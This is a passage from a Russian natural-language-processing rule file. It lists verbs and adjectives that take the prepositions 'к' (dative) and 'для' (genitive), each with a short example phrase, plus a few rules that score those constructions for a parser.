rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
